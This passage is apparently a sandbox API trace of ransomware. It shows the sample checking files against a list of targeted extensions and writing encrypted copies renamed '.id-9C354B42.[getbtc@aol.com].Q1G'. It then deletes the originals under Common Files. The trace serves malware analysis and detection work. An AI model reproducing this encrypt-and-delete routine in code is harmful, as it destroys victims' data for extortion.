Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString=".dbf") returned 4 [0057.671] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0057.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString=".1cd") returned 4 [0057.671] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0057.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString=".jpg") returned 4 [0057.671] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString=".doc") returned 4 [0057.671] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0057.671] lstrlenW (lpString=".docx") returned 5 [0057.671] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0057.671] lstrlenW (lpString=".pdf") returned 4 [0057.671] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString=".xls") returned 4 [0057.671] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString=".xlsx") returned 5 [0057.671] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0057.671] lstrlenW (lpString=".ppt") returned 4 [0057.671] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0057.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.671] lstrlenW (lpString=".zip") returned 4 [0057.671] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0057.672] lstrlenW (lpString=".rar") returned 4 [0057.672] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0057.672] lstrlenW (lpString=".bz2") returned 4 [0057.672] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0057.672] lstrlenW (lpString=".7z") returned 3 [0057.672] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0057.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.672] lstrlenW (lpString=".dbf") returned 4 [0057.672] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0057.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.672] lstrlenW (lpString=".1cd") returned 4 [0057.672] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0057.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0057.672] lstrlenW (lpString=".jpg") returned 4 [0057.672] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0057.816] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0057.830] lstrlenW (lpString="msitss55.dll") returned 12 [0057.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.151] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=430080) returned 1 [0058.152] CloseHandle (hObject=0x1a8) returned 1 [0058.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0058.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.152] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.152] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.152] GetLastError () returned 0x0 [0058.152] ReadFile (in: hFile=0x1a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x69000, lpOverlapped=0x0) returned 1 [0058.161] WriteFile (in: hFile=0x204, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0058.168] ReadFile (in: hFile=0x1a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.169] WriteFile (in: hFile=0x204, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.169] SetEndOfFile (hFile=0x204) returned 1 [0058.169] CloseHandle (hObject=0x204) returned 1 [0058.169] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.169] SetEndOfFile (hFile=0x1a8) returned 1 [0058.173] CloseHandle (hObject=0x1a8) returned 1 [0058.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0058.173] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0058.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.173] lstrlenW (lpString=".doc") returned 4 [0058.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".docx") returned 5 [0058.174] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0058.174] lstrlenW (lpString=".pdf") returned 4 [0058.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".xls") returned 4 [0058.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".xlsx") returned 5 [0058.174] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0058.174] lstrlenW (lpString=".ppt") returned 4 [0058.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString=".zip") returned 4 [0058.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".rar") returned 4 [0058.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".bz2") returned 4 [0058.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.174] lstrlenW (lpString=".7z") returned 3 [0058.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString=".dbf") returned 4 [0058.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString=".1cd") returned 4 [0058.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString=".jpg") returned 4 [0058.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.174] lstrlenW (lpString=".doc") returned 4 [0058.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.174] lstrlenW (lpString=".docx") returned 5 [0058.174] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0058.174] lstrlenW (lpString=".pdf") returned 4 [0058.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.175] lstrlenW (lpString=".xls") returned 4 [0058.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.175] lstrlenW (lpString=".xlsx") returned 5 [0058.175] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0058.175] lstrlenW (lpString=".ppt") returned 4 [0058.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.175] lstrlenW (lpString=".zip") returned 4 [0058.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.175] lstrlenW (lpString=".rar") returned 4 [0058.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.175] lstrlenW (lpString=".bz2") returned 4 [0058.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.175] lstrlenW (lpString=".7z") returned 3 [0058.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.175] lstrlenW (lpString=".dbf") returned 4 [0058.175] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.175] lstrlenW (lpString=".1cd") returned 4 [0058.175] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0058.175] lstrlenW (lpString=".jpg") returned 4 [0058.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.175] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0058.175] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0058.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.380] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4608) returned 1 [0058.380] CloseHandle (hObject=0x188) returned 1 [0058.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0058.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.381] lstrlenW (lpString=".doc") returned 4 [0058.381] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.381] lstrlenW (lpString=".docx") returned 5 [0058.381] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.381] lstrlenW (lpString=".pdf") returned 4 [0058.381] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.381] lstrlenW (lpString=".xls") returned 4 [0058.381] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.381] lstrlenW (lpString=".xlsx") returned 5 [0058.381] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.381] lstrlenW (lpString=".ppt") returned 4 [0058.381] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.381] lstrlenW (lpString=".zip") returned 4 [0058.381] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.381] lstrlenW (lpString=".rar") returned 4 [0058.381] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.381] lstrlenW (lpString=".bz2") returned 4 [0058.381] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.381] lstrlenW (lpString=".7z") returned 3 [0058.381] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.381] lstrlenW (lpString=".dbf") returned 4 [0058.381] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.381] lstrlenW (lpString=".1cd") returned 4 [0058.381] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".jpg") returned 4 [0058.382] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".doc") returned 4 [0058.382] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString=".docx") returned 5 [0058.382] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.382] lstrlenW (lpString=".pdf") returned 4 [0058.382] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.382] lstrlenW (lpString=".xls") returned 4 [0058.382] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.382] lstrlenW (lpString=".xlsx") returned 5 [0058.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.382] lstrlenW (lpString=".ppt") returned 4 [0058.382] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".zip") returned 4 [0058.382] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.382] lstrlenW (lpString=".rar") returned 4 [0058.382] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.382] lstrlenW (lpString=".bz2") returned 4 [0058.382] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString=".7z") returned 3 [0058.382] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".dbf") returned 4 [0058.382] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".1cd") returned 4 [0058.382] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0058.382] lstrlenW (lpString=".jpg") returned 4 [0058.383] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.396] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0058.396] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0058.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.555] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=9216) returned 1 [0058.555] CloseHandle (hObject=0x230) returned 1 [0058.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0058.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.555] lstrlenW (lpString=".doc") returned 4 [0058.555] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.555] lstrlenW (lpString=".docx") returned 5 [0058.555] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.555] lstrlenW (lpString=".pdf") returned 4 [0058.555] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.555] lstrlenW (lpString=".xls") returned 4 [0058.555] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.555] lstrlenW (lpString=".xlsx") returned 5 [0058.555] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.555] lstrlenW (lpString=".ppt") returned 4 [0058.555] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".zip") returned 4 [0058.556] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString=".rar") returned 4 [0058.556] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString=".bz2") returned 4 [0058.556] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.556] lstrlenW (lpString=".7z") returned 3 [0058.556] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".dbf") returned 4 [0058.556] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".1cd") returned 4 [0058.556] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".jpg") returned 4 [0058.556] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".doc") returned 4 [0058.556] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.556] lstrlenW (lpString=".docx") returned 5 [0058.556] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.556] lstrlenW (lpString=".pdf") returned 4 [0058.556] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString=".xls") returned 4 [0058.556] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString=".xlsx") returned 5 [0058.556] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.556] lstrlenW (lpString=".ppt") returned 4 [0058.556] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.556] lstrlenW (lpString=".zip") returned 4 [0058.557] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.557] lstrlenW (lpString=".rar") returned 4 [0058.557] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.557] lstrlenW (lpString=".bz2") returned 4 [0058.557] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.557] lstrlenW (lpString=".7z") returned 3 [0058.557] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.557] lstrlenW (lpString=".dbf") returned 4 [0058.557] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.557] lstrlenW (lpString=".1cd") returned 4 [0058.557] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0058.557] lstrlenW (lpString=".jpg") returned 4 [0058.557] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0058.557] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0058.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.558] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=26624) returned 1 [0058.558] CloseHandle (hObject=0x230) returned 1 [0058.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0058.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.558] lstrlenW (lpString=".doc") returned 4 [0058.558] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.558] lstrlenW (lpString=".docx") returned 5 [0058.558] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.558] lstrlenW (lpString=".pdf") returned 4 [0058.558] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.558] lstrlenW (lpString=".xls") returned 4 [0058.558] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.558] lstrlenW (lpString=".xlsx") returned 5 [0058.558] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.558] lstrlenW (lpString=".ppt") returned 4 [0058.558] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.558] lstrlenW (lpString=".zip") returned 4 [0058.559] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.559] lstrlenW (lpString=".rar") returned 4 [0058.559] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.559] lstrlenW (lpString=".bz2") returned 4 [0058.559] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.559] lstrlenW (lpString=".7z") returned 3 [0058.559] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString=".dbf") returned 4 [0058.559] 